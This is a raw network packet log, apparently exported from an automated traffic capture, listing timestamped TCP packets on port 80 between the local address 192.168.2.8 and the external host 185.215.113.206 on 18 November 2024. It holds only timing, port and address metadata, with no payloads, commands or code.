Nov 18, 2024 13:29:05.959738970 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.959768057 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.959781885 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.959798098 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.959815025 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:05.999871016 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.999893904 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.999907970 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:05.999988079 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.000034094 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.015717030 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015753031 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015767097 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015780926 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015799999 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015799999 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.015841007 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.015863895 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.015875101 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015897989 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.015908003 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.015928984 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.062694073 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.062752008 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.062788010 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.062802076 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.062840939 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.062848091 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077131033 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077184916 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077219009 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077253103 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077256918 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077289104 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077641964 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077682972 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077697992 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077732086 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077735901 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077766895 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077800035 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077833891 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077903032 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077936888 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.077941895 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.077972889 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078123093 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078157902 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078162909 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078196049 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078211069 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078232050 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078294039 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078330994 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078382969 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078418970 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078421116 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078453064 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078458071 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078493118 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078732967 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078775883 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.078813076 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.078850031 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.118387938 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.118411064 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.118423939 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.118438005 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.118477106 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134541035 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134596109 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134596109 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134651899 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134660959 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134675026 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134733915 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134754896 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134766102 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134783030 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134815931 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134835958 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134848118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.134865046 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.134880066 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.181292057 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.181307077 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.181318998 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.181355000 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.181385994 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.181421041 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.195920944 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.195991039 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196026087 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196028948 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196063995 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196072102 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196278095 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196319103 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196369886 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196402073 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196410894 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196438074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196443081 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196475029 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196474075 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196521044 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196532965 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196567059 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196573019 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196614981 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196778059 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196808100 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196820974 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196849108 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196880102 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196921110 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.196938038 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196974039 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.196979046 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.197012901 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.197091103 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.197132111 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.197144985 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.197185993 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.237061977 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.237139940 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.237148046 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.237174034 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.237198114 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.237212896 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.237224102 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.237265110 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.252990961 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253016949 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253031969 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253055096 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253086090 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253093004 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253108025 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253127098 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253154993 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253258944 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253294945 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253333092 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253346920 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253374100 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253388882 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253561974 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253575087 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253590107 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.253604889 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.253628016 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.300028086 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.300045967 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.300061941 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.300159931 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.300204039 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.314680099 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.314714909 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.314728975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.314802885 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.314836025 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.314857960 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.314873934 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.314897060 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.314924002 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.314990997 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315004110 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315032959 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315068960 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315105915 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315124035 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315138102 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315161943 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315176010 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315344095 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315368891 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315388918 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315401077 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315489054 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315526962 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315537930 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315552950 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315572023 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315589905 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.315613031 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.315644026 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.355859041 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.355889082 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.355901003 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.355935097 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.355935097 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.355976105 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.355986118 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.355999947 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.356026888 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.359643936 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.371781111 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.371840954 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.371855974 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.371870041 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.371893883 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.371911049 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.371937037 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.371951103 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.371968985 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.371985912 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.372020006 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.372057915 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.372102022 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.372113943 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.372133017 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.372148991 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.372200012 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.372212887 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.372231960 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.372247934 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.418662071 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.418795109 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.418826103 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.418838978 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.418853045 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.418879032 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.418901920 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433484077 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433552027 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433573961 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433592081 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433608055 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433634996 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433635950 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433697939 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433722019 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433732986 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433748960 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433770895 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433780909 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433816910 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433830976 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433865070 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.433876991 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433908939 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.433976889 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434007883 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434020042 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434046984 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434048891 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434091091 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434103966 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434201956 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434215069 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434242964 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434262037 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434299946 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434303045 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434346914 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434354067 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434391975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.434393883 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.434433937 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.474649906 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.474700928 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.474714994 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.474786043 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.474801064 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.474839926 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.474883080 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.474883080 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490457058 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490477085 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490493059 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490535975 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490550995 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490560055 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490602016 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490633965 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490670919 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490675926 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490686893 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490712881 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490734100 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.490750074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.490787983 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.491020918 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.491065025 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.491101027 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.491143942 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.537395000 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.537414074 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.537429094 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.537512064 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.537552118 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552248001 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552278996 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552294016 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552315950 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552331924 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552345991 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552354097 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552354097 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552376986 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552391052 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552433014 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552475929 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552489042 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552495003 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552565098 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552573919 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552612066 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552871943 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552923918 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552932024 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552943945 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.552983999 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.552983999 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.553019047 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.553070068 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.553239107 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.553288937 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.553293943 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.553307056 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.553345919 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.553345919 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.553366899 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.553448915 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.593202114 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593239069 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593251944 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593302965 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.593319893 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593337059 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593342066 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.593375921 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.593381882 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.593414068 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.609802008 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.609847069 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.609859943 CET	80	49706	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:06.609934092 CET	49706	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:06.609951019 CET	80	49706	185.215.113.206	192.168.2.8
